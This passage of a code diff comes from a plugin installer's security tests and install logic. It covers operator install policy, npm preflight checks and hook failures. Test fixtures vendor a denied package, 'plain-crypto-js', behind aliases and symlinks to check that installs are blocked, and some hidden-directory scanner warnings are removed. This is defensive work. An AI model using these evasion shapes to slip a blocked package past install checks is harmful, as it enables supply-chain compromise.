installPluginFromDir({ + dirPath: pluginDir, + extensionsDir, + config, + installPolicyRequest: { + kind: "plugin-archive", + requestedSpecifier: "clawhub:policy-source-bundle", + source, + }, + }); + + expect(result.ok).toBe(true); + const scanParams = scanSpy.mock.calls.at(-1)?.[0]; + expect(scanParams?.config).toBe(config); + expect(scanParams?.requestKind).toBe("plugin-archive"); + expect(scanParams?.requestedSpecifier).toBe("clawhub:policy-source-bundle"); + expect(scanParams?.source).toEqual(source); + } finally { + scanSpy.mockRestore(); + } + }); + + it("blocks bundle installs with denied vendored dependency names", async () => { + const { pluginDir, extensionsDir } = setupBundleInstallFixture({ + bundleFormat: "codex", + name: "Denied Dependency Bundle", + }); + fs.mkdirSync(path.join(pluginDir, "vendor", "plain-crypto-js"), { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "vendor", "plain-crypto-js", "package.json"), + JSON.stringify({ name: "plain-crypto-js", version: "4.2.1" }), + "utf-8", ); const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); @@ -2527,231 +1960,15 @@ describe("installPluginFromArchive", () => { expect(result.ok).toBe(false); if (!result.ok) { expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('Bundle "blocked-dependency-bundle" installation blocked'); - expect(result.error).toContain('blocked dependencies "plain-crypto-js" in dependencies'); - expectMessageIncludesPath(result.error, "declared in axios (vendor/axios/package.json)"); - } - expect( - warnings.some((warning) => - warning.includes('blocked dependencies "plain-crypto-js" in dependencies'), - ), - ).toBe(true); - }); - - it("blocks bundle installs when a vendored manifest uses a blocked package name", async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Vendored Package Name Bundle", - }); - fs.mkdirSync(path.join(pluginDir, "vendor", "plain-crypto-js"), { recursive: true }); - fs.writeFileSync( - path.join(pluginDir, "vendor", "plain-crypto-js", "package.json"), - JSON.stringify({ - name: "plain-crypto-js", - version: "4.2.1", - }), - ); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain( - 'Bundle "blocked-vendored-package-name-bundle" installation blocked', - ); + expect(result.error).toContain('Bundle "denied-dependency-bundle" installation blocked'); expect(result.error).toContain('"plain-crypto-js" as package name'); - expectMessageIncludesPath( - result.error, - "declared in plain-crypto-js (vendor/plain-crypto-js/package.json)", - ); + expect(result.error).toContain("vendor/plain-crypto-js/package.json"); } + expect(warnings.some((warning) => warning.includes('"plain-crypto-js" as package name'))).toBe( + true, + ); }); - it("blocks bundle installs when node_modules contains a blocked package directory without package.json", async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Package Dir Bundle", - }); - const blockedPackageDir = path.join(pluginDir, "vendor", "node_modules", "plain-crypto-js"); - fs.mkdirSync(blockedPackageDir, { recursive: true }); - fs.writeFileSync(path.join(blockedPackageDir, "index.js"), "module.exports = {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('Bundle "blocked-package-dir-bundle" installation blocked'); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expectMessageIncludesPath(result.error, "vendor/node_modules/plain-crypto-js"); - } - }); - - it("blocks bundle installs when node_modules contains a blocked package file alias", async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Package File Bundle", - }); - const nodeModulesDir = path.join(pluginDir, "vendor", "Node_Modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "Plain-Crypto-Js.Js"), "module.exports = {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('Bundle "blocked-package-file-bundle" installation blocked'); - expect(result.error).toContain('blocked dependency file alias "Plain-Crypto-Js"'); - expectMessageIncludesPath(result.error, "vendor/Node_Modules/Plain-Crypto-Js.Js"); - } - }); - - it("blocks bundle installs when node_modules contains a blocked extensionless package file alias", async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Package Extensionless File Bundle", - }); - const nodeModulesDir = path.join(pluginDir, "vendor", "Node_Modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "Plain-Crypto-Js"), "module.exports = {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain( - 'Bundle "blocked-package-extensionless-file-bundle" installation blocked', - ); - expect(result.error).toContain('blocked dependency file alias "Plain-Crypto-Js"'); - expectMessageIncludesPath(result.error, "vendor/Node_Modules/Plain-Crypto-Js"); - } - }); - - it.runIf(process.platform !== "win32")( - "blocks bundle installs when node_modules contains a blocked package symlink", - async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Package Symlink Bundle", - }); - const actualDir = path.join(pluginDir, "vendor", "actual-package"); - fs.mkdirSync(actualDir, { recursive: true }); - fs.writeFileSync(path.join(actualDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync("../actual-package", path.join(nodeModulesDir, "plain-crypto-js"), "dir"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain( - 'Bundle "blocked-package-symlink-bundle" installation blocked', - ); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expect(result.error).toContain("vendor/node_modules/plain-crypto-js"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "blocks bundle installs when node_modules safe-name symlink targets a blocked package directory", - async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Package Symlink Target Bundle", - }); - const targetDir = path.join(pluginDir, "vendor", "plain-crypto-js"); - fs.mkdirSync(targetDir, { recursive: true }); - fs.writeFileSync(path.join(targetDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync("../plain-crypto-js", path.join(nodeModulesDir, "safe-name"), "dir"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain( - 'Bundle "blocked-package-symlink-target-bundle" installation blocked', - ); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expect(result.error).toContain("vendor/plain-crypto-js"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "blocks bundle installs when node_modules safe-name symlink targets a blocked package file alias", - async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Package File Symlink Target Bundle", - }); - fs.mkdirSync(path.join(pluginDir, "vendor"), { recursive: true }); - fs.writeFileSync( - path.join(pluginDir, "vendor", "plain-crypto-js.js"), - "module.exports = {};\n", - ); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync("../plain-crypto-js.js", path.join(nodeModulesDir, "safe-name"), "file"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain( - 'Bundle "blocked-package-file-symlink-target-bundle" installation blocked', - ); - expect(result.error).toContain('blocked dependency file alias "plain-crypto-js"'); - expect(result.error).toContain("vendor/plain-crypto-js.js"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "blocks bundle installs when node_modules safe-name symlink targets a file under a blocked package directory", - async () => { - const { pluginDir, extensionsDir } = setupBundleInstallFixture({ - bundleFormat: "codex", - name: "Blocked Package Nested File Symlink Target Bundle", - }); - const blockedPackageDir = path.join(pluginDir, "vendor", "plain-crypto-js", "dist"); - fs.mkdirSync(blockedPackageDir, { recursive: true }); - fs.writeFileSync(path.join(blockedPackageDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync( - "../plain-crypto-js/dist/index.js", - path.join(nodeModulesDir, "safe-name"), - "file", - ); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain( - 'Bundle "blocked-package-nested-file-symlink-target-bundle" installation blocked', - ); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expect(result.error).toContain("vendor/plain-crypto-js/dist/index.js"); - } - }, - ); - it("surfaces plugin scanner findings from before_install", async () => { const handler = vi.fn().mockReturnValue({ findings: [ @@ -2810,7 +2027,31 @@ describe("installPluginFromArchive", () => { ).toBe(true); }); - it("blocks plugin install when before_install rejects after builtin critical findings", async () => { + it("runs operator policy for local package and dependency-tree scans as plugin-dir", async () => { + const { tmpDir, pluginDir, extensionsDir } = setupPluginInstallDirs(); + const { scriptPath, logPath } = writeAllowingInstallPolicyScript(tmpDir); + writeMinimalPackagePlugin(pluginDir, "policy-dir-plugin"); + + const { result } = await installFromDirWithWarnings({ + pluginDir, + extensionsDir, + config: configWithInstallPolicy(scriptPath, logPath), + }); + + expect(result.ok).toBe(true); + const requests = readCapturedInstallPolicyRequests(logPath); + expect(requests).toHaveLength(2); + expect(requests.map((request) => request.request.kind)).toEqual(["plugin-dir", "plugin-dir"]); + expect(requests.map((request) => request.plugin?.contentType)).toEqual([ + "package", + "dependency-tree", + ]); + expect(requests.map((request) => request.source?.kind)).toEqual(["local-path", "local-path"]); + expect(requests[0]?.request.requestedSpecifier).toBe(pluginDir); + expect(requests[1]?.request.requestedSpecifier).toBe(pluginDir); + }); + + it("blocks plugin install when before_install rejects dangerous-looking source", async () => { const handler = vi.fn().mockReturnValue({ block: true, blockReason: "Blocked by enterprise policy", @@ -2837,7 +2078,7 @@ describe("installPluginFromArchive", () => { expect(result.ok).toBe(false); if (!result.ok) { expect(result.error).toBe("Blocked by enterprise policy"); - expect(result.code).toBeUndefined(); + expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); } expect(handler).toHaveBeenCalledTimes(1); const payload = requireHookPayload(handler); @@ -2847,8 +2088,7 @@ describe("installPluginFromArchive", () => { expectHookRequest(payload, { kind: "plugin-dir", mode: "install" }); const builtinScan = requireRecord(payload.builtinScan, "builtin scan"); expect(builtinScan.status).toBe("ok"); - const findings = builtinScan.findings as Array<{ severity?: string }>; - expect(findings.some((finding) => finding.severity === "critical")).toBe(true); + expect(builtinScan.findings).toEqual([]); expect(payload.plugin).toEqual({ contentType: "package", pluginId: "dangerous-blocked-plugin", @@ -2856,7 +2096,6 @@ describe("installPluginFromArchive", () => { version: "1.0.0", extensions: ["index.js"], }); - expectWarningIncludes(warnings, "dangerous code pattern"); expect( warnings.some((w) => w.includes("blocked by plugin hook: Blocked by enterprise policy")), ).toBe(true); @@ -2893,7 +2132,7 @@ describe("installPluginFromArchive", () => { expect(result.ok).toBe(false); if (!result.ok) { expect(result.error).toBe("Blocked by enterprise policy"); - expect(result.code).toBeUndefined(); + expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); } expect( warnings.some((warning) => @@ -2901,7 +2140,7 @@ describe("installPluginFromArchive", () => { "forced despite dangerous code patterns via --dangerously-force-unsafe-install", ), ), - ).toBe(true); + ).toBe(false); expect( warnings.some((warning) => warning.includes("blocked by plugin hook: Blocked by enterprise policy"), @@ -2909,6 +2148,29 @@ describe("installPluginFromArchive", () => { ).toBe(true); }); + it("fails closed with a terminal code when before_install throws", async () => { + const handler = vi.fn().mockRejectedValue(new Error("policy process unavailable")); + initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); + + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); + writeMinimalPackagePlugin(pluginDir, "hook-failure-plugin"); + + const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED); + expect(result.error).toContain("before_install hook failed"); + expect(result.error).toContain("policy process unavailable"); + } + expect(handler).toHaveBeenCalledTimes(1); + expect( + warnings.some((warning) => + warning.includes("blocked by plugin hook failure: Installation blocked"), + ), + ).toBe(true); + }); + it("reports install mode to before_install when force-style update runs against a missing target", async () => { const handler = vi.fn().mockReturnValue({}); initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); @@ -2968,7 +2230,7 @@ describe("installPluginFromArchive", () => { expectHookRequest(requireHookPayload(handler), { kind: "plugin-dir", mode: "update" }); }); - it("scans extension entry files in hidden directories", async () => { + it("allows extension entry files in hidden directories without built-in scanner warnings", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); @@ -2987,12 +2249,11 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - expectWarningIncludes(warnings, "hidden/node_modules path"); - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); - it("scans runtime extension entry files in hidden directories", async () => { + it("allows runtime extension entry files in hidden directories without built-in scanner warnings", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); @@ -3015,12 +2276,11 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - expectWarningIncludes(warnings, "hidden/node_modules path"); - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); - it("scans setup entry files in hidden directories", async () => { + it("allows setup entry files in hidden directories without built-in scanner warnings", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); @@ -3043,12 +2303,11 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - expectWarningIncludes(warnings, "hidden/node_modules path"); - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); - it("scans runtime setup entry files in hidden directories", async () => { + it("allows runtime setup entry files in hidden directories without built-in scanner warnings", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); @@ -3073,12 +2332,11 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - expectWarningIncludes(warnings, "hidden/node_modules path"); - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); - it("scans inferred runtime entry files in hidden directories", async () => { + it("allows inferred runtime entry files in hidden directories without built-in scanner warnings", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); @@ -3100,9 +2358,8 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - expectWarningIncludes(warnings, "hidden/node_modules path"); - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); it("blocks install when scanner throws", async () => { @@ -3134,6 +2391,168 @@ describe("installPluginFromArchive", () => { }); }); +describe("installPluginFromNpmSpec", () => { + it("runs operator policy before npm install mutates the managed root", async () => { + const root = suiteTempRootTracker.makeTempDir(); + const npmDir = path.join(root, "npm"); + const extensionsDir = path.join(root, "extensions"); + const { scriptPath, logPath } = writeBlockingInstallPolicyScript(root); + mockNpmViewMetadata({ name: "@acme/policy-preflight-plugin" }); + + const result = await installPluginFromNpmSpec({ + spec: "@acme/policy-preflight-plugin@1.0.0", + extensionsDir, + npmDir, + config: configWithInstallPolicy(scriptPath, logPath), + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.code, result.error).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); + expect(result.error).toContain("npm installs are disabled by policy"); + } + expect(vi.mocked(runCommandWithTimeout)).toHaveBeenCalledTimes(1); + expect(vi.mocked(runCommandWithTimeout).mock.calls[0]?.[0]).toEqual([ + "npm", + "view", + "@acme/policy-preflight-plugin@1.0.0", + "name", + "version", + "dist.integrity", + "dist.shasum", + "openclaw", + "--json", + ]); + await expect(fsPromises.stat(npmDir)).rejects.toThrow(); + const requests = readCapturedInstallPolicyRequests(logPath); + expect(requests).toHaveLength(1); + expect(requests[0]?.request.kind).toBe("plugin-npm"); + expect(requests[0]?.request.requestedSpecifier).toBe("@acme/policy-preflight-plugin@1.0.0"); + expect(requests[0]?.source?.kind).toBe("npm"); + expect(requests[0]?.sourcePathKind).toBe("file"); + expect(path.basename(requests[0]?.sourcePath ?? "")).toBe("npm-package-metadata.json"); + expect(requests[0]?.plugin?.contentType).toBe("package"); + }); + + it("reports effective install mode to policy when requested npm update has no installed target", async () => { + const root = suiteTempRootTracker.makeTempDir(); + const npmDir = path.join(root, "npm"); + const extensionsDir = path.join(root, "extensions"); + const { scriptPath, logPath } = writeInstallOnlyBlockingPolicyScript(root); + mockNpmViewMetadata({ name: "@acme/policy-preflight-plugin" }); + + const result = await installPluginFromNpmSpec({ + spec: "@acme/policy-preflight-plugin@1.0.0", + extensionsDir, + npmDir, + config: configWithInstallPolicy(scriptPath, logPath), + mode: "update", + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.code, result.error).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); + expect(result.error).toContain("fresh npm installs are disabled by policy"); + } + expect(vi.mocked(runCommandWithTimeout)).toHaveBeenCalledTimes(1); + const requests = readCapturedInstallPolicyRequests(logPath); + expect(requests).toHaveLength(1); + expect(requests[0]?.request.mode).toBe("install"); + expect(requests[0]?.request.kind).toBe("plugin-npm"); + }); + + it("runs operator policy for npm dry-run probes", async () => { + const root = suiteTempRootTracker.makeTempDir(); + const npmDir = path.join(root, "npm"); + const extensionsDir = path.join(root, "extensions"); + const { scriptPath, logPath } = writeBlockingInstallPolicyScript(root); + mockNpmViewMetadata({ name: "@acme/policy-dry-run-plugin" }); + + const result = await installPluginFromNpmSpec({ + spec: "@acme/policy-dry-run-plugin@1.0.0", + extensionsDir, + npmDir, + config: configWithInstallPolicy(scriptPath, logPath), + dryRun: true, + mode: "update", + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.code, result.error).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); + expect(result.error).toContain("npm installs are disabled by policy"); + } + expect(vi.mocked(runCommandWithTimeout)).toHaveBeenCalledTimes(1); + await expect(fsPromises.stat(npmDir)).rejects.toThrow(); + const requests = readCapturedInstallPolicyRequests(logPath); + expect(requests).toHaveLength(1); + expect(requests[0]?.request.kind).toBe("plugin-npm"); + expect(requests[0]?.request.mode).toBe("install"); + expect(requests[0]?.source?.kind).toBe("npm"); + expect(requests[0]?.sourcePathKind).toBe("file"); + }); + + it("reports npm-pack local archives as mutable user archive sources", async () => { + const root = suiteTempRootTracker.makeTempDir(); + const npmDir = path.join(root, "npm"); + const extensionsDir = path.join(root, "extensions"); + const { scriptPath, logPath } = writeBlockingInstallPolicyScript(root); + const archivePath = await ensureDynamicArchiveTemplate({ + outName: "npm-pack-policy-archive.tgz", + packageJson: { + name: "npm-pack-policy-archive", + version: "1.0.0", + openclaw: { extensions: ["./dist/index.js"] }, + }, + withDistIndex: true, + }); + vi.mocked(runCommandWithTimeout).mockResolvedValueOnce({ + code: 0, + killed: false, + signal: null, + stderr: "", + termination: "exit", + stdout: JSON.stringify([ + { + filename: path.basename(archivePath), + name: "npm-pack-policy-archive", + version: "1.0.0", + integrity: "sha512-test", + shasum: "abc123", + }, + ]), + }); + + const result = await installPluginFromNpmPackArchive({ + archivePath, + extensionsDir, + npmDir, + config: configWithInstallPolicy(scriptPath, logPath), + dryRun: true, + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.code, result.error).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); + expect(result.error).toContain("npm installs are disabled by policy"); + } + expect(vi.mocked(runCommandWithTimeout)).toHaveBeenCalledTimes(1); + await expect(fsPromises.stat(npmDir)).rejects.toThrow(); + const requests = readCapturedInstallPolicyRequests(logPath); + expect(requests).toHaveLength(1); + expect(requests[0]?.request.kind).toBe("plugin-npm"); + expect(requests[0]?.request.requestedSpecifier).toBe(`npm-pack:${archivePath}`); + expect(requests[0]?.source).toEqual({ + kind: "archive", + authority: "user", + mutable: true, + network: false, + }); + expect(requests[0]?.sourcePath).toBe(archivePath); + expect(requests[0]?.sourcePathKind).toBe("file"); + }); +}); + describe("installPluginFromDir", () => { function expectInstalledWithPluginId( result: Awaited>, @@ -3208,7 +2627,7 @@ describe("installPluginFromDir", () => { expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); - it("blocks local installs when vendored dependencies include a denied package", async () => { + it("blocks local installs when vendored dependencies include denied packages", async () => { const { pluginDir, extensionsDir } = setupInstallPluginFromDirFixture(); const blockedPkgDir = path.join(pluginDir, "node_modules", "plain-crypto-js"); @@ -3231,7 +2650,7 @@ describe("installPluginFromDir", () => { if (!result.ok) { expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); expect(result.error).toContain('blocked dependencies "plain-crypto-js" as package name'); - expectMessageIncludesPath(result.error, "node_modules/plain-crypto-js/package.json"); + expect(result.error).toContain("node_modules/plain-crypto-js/package.json"); } expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); diff --git a/src/plugins/install.ts b/src/plugins/install.ts index 5a160ed0f17a..5256db026244 100644 --- a/src/plugins/install.ts +++ b/src/plugins/install.ts @@ -4,6 +4,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { satisfiesPluginApiRange } from "../infra/clawhub.js"; import { packageNameMatchesId } from "../infra/install-safe-path.js"; import { @@ -44,6 +45,7 @@ import { } from "../infra/safe-package-install.js"; import { compareComparableSemver, parseComparableSemver } from "../infra/semver-compare.js"; import { runCommandWithTimeout } from "../process/exec.js"; +import type { InstallPolicySource } from "../security/install-policy.js"; import { createLazyImportLoader } from "../shared/lazy-promise.js"; import { resolveUserPath } from "../utils.js"; import { @@ -55,8 +57,11 @@ import { safePluginInstallFileName, validatePluginId, } from "./install-paths.js"; -import type { InstallSecurityScanResult } from "./install-security-scan.js"; -import type { InstallSafetyOverrides } from "./install-security-scan.js"; +import { + preflightPluginNpmInstallPolicy, + type InstallSecurityScanResult, + type InstallSafetyOverrides, +} from "./install-security-scan.js"; import { resolvePackageExtensionEntries, type OpenClawPackageManifest, @@ -130,6 +135,7 @@ export const PLUGIN_INSTALL_ERROR_CODE = { PLUGIN_ID_MISMATCH: "plugin_id_mismatch", SECURITY_SCAN_BLOCKED: "security_scan_blocked", SECURITY_SCAN_FAILED: "security_scan_failed", + UNSUPPORTED_PLAIN_FILE_PLUGIN: "unsupported_plain_file_plugin", } as const; export type PluginInstallErrorCode = @@ -243,6 +249,7 @@ export type PluginNpmIntegrityDriftParams = { type PluginInstallPolicyRequest = { kind: "plugin-dir" | "plugin-archive" | "plugin-file" | "plugin-npm" | "plugin-git"; requestedSpecifier?: string; + source?: InstallPolicySource; }; const defaultLogger: PluginInstallLogger = {}; @@ -1110,6 +1117,9 @@ async function installPluginFromManagedNpmRoot( displaySpec: string; installPolicyRequest: PluginInstallPolicyRequest; npmResolution: NpmSpecResolution; + policyPreflightSourcePath?: string; + policyPreflightSourcePathKind?: "file" | "directory"; + skipPolicyPreflight?: boolean; extensionsDir?: string; npmDir?: string; timeoutMs?: number; @@ -1145,6 +1155,28 @@ async function installPluginFromManagedNpmRoot( if (!availability.ok) { return availability; } + + if (!params.skipPolicyPreflight) { + const preflightPolicyResult = await runInstallSourceScan({ + subject: `Plugin "${expectedPluginId ?? params.packageName}"`, + scan: async () => + await preflightPluginNpmInstallPolicy({ + config: params.config, + logger, + mode: effectiveMode, + packageName: params.packageName, + ...(expectedPluginId ? { pluginId: expectedPluginId } : {}), + requestedSpecifier: params.installPolicyRequest.requestedSpecifier ?? params.displaySpec, + source: params.installPolicyRequest.source, + sourcePath: params.policyPreflightSourcePath ?? npmRoot, + sourcePathKind: params.policyPreflightSourcePathKind ?? "directory", + }), + }); + if (preflightPolicyResult) { + return preflightPolicyResult; + } + } + if (dryRun) { return { ok: true, @@ -1432,6 +1464,7 @@ async function installPluginFromManagedNpmRoot( }); const result = await installPluginFromInstalledPackageDir({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + config: params.config, additionalDependencyPackageDirs: newRootPackageDirs, packageDir: installRoot, dependencyScanRootDir: npmRoot, @@ -1579,21 +1612,11 @@ type PackageInstallCommonParams = InstallSafetyOverrides & { installPolicyRequest?: PluginInstallPolicyRequest; }; -type FileInstallCommonParams = Pick< - PackageInstallCommonParams, - | "dangerouslyForceUnsafeInstall" - | "trustedSourceLinkedOfficialInstall" - | "extensionsDir" - | "logger" - | "mode" - | "dryRun" - | "installPolicyRequest" ->; - function pickPackageInstallCommonParams( params: PackageInstallCommonParams, ): PackageInstallCommonParams { return { + config: params.config, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, extensionsDir: params.extensionsDir, @@ -1609,17 +1632,31 @@ function pickPackageInstallCommonParams( }; } -function pickFileInstallCommonParams(params: FileInstallCommonParams): FileInstallCommonParams { +function installPolicyRequestForPath( + params: PackageInstallCommonParams & { path: string }, + kind: PluginInstallPolicyRequest["kind"], +): PluginInstallPolicyRequest { + const requestKind = + params.installPolicyRequest?.kind === "plugin-git" && kind === "plugin-dir" + ? "plugin-git" + : kind; return { - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - extensionsDir: params.extensionsDir, - logger: params.logger, - mode: params.mode, - dryRun: params.dryRun, - installPolicyRequest: params.installPolicyRequest, + kind: requestKind, + requestedSpecifier: params.installPolicyRequest?.requestedSpecifier ?? params.path, + source: params.installPolicyRequest?.source ?? localPluginInstallPolicySource(requestKind), }; } +function localPluginInstallPolicySource(kind: PluginInstallPolicyRequest["kind"]) { + if (kind === "plugin-archive") { + return { kind: "archive", authority: "user", mutable: true, network: false } as const; + } + if (kind === "plugin-file") { + return { kind: "file", authority: "user", mutable: true, network: false } as const; + } + return { kind: "local-path", authority: "user", mutable: true, network: false } as const; +} + type PreparedInstallTarget = { targetPath: string; effectiveMode: "install" | "update"; @@ -1879,11 +1916,13 @@ async function installBundleFromSourceDir( scan: async () => await runtime.scanBundleInstallSource({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + config: params.config, sourceDir: params.sourceDir, pluginId, logger, requestKind: params.installPolicyRequest?.kind, requestedSpecifier: params.installPolicyRequest?.requestedSpecifier, + source: params.installPolicyRequest?.source, mode: targetResult.target.effectiveMode, version: manifestRes.manifest.version, }), @@ -1968,6 +2007,7 @@ async function validatePackagePluginInstallSource(params: { allowSourceTypeScriptEntries?: boolean; dangerouslyForceUnsafeInstall?: boolean; trustedSourceLinkedOfficialInstall?: boolean; + config?: OpenClawConfig; installPolicyRequest?: PluginInstallPolicyRequest; logger: PluginInstallLogger; mode: "install" | "update"; @@ -2078,12 +2118,14 @@ async function validatePackagePluginInstallSource(params: { dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, packageDir: params.packageDir, + config: params.config, pluginId, logger: params.logger, extensions, ...(packageMetadata ? { packageMetadata } : {}), requestKind: params.installPolicyRequest?.kind, requestedSpecifier: params.installPolicyRequest?.requestedSpecifier, + source: params.installPolicyRequest?.source, mode: scanMode, packageName: pkgName || undefined, manifestId: 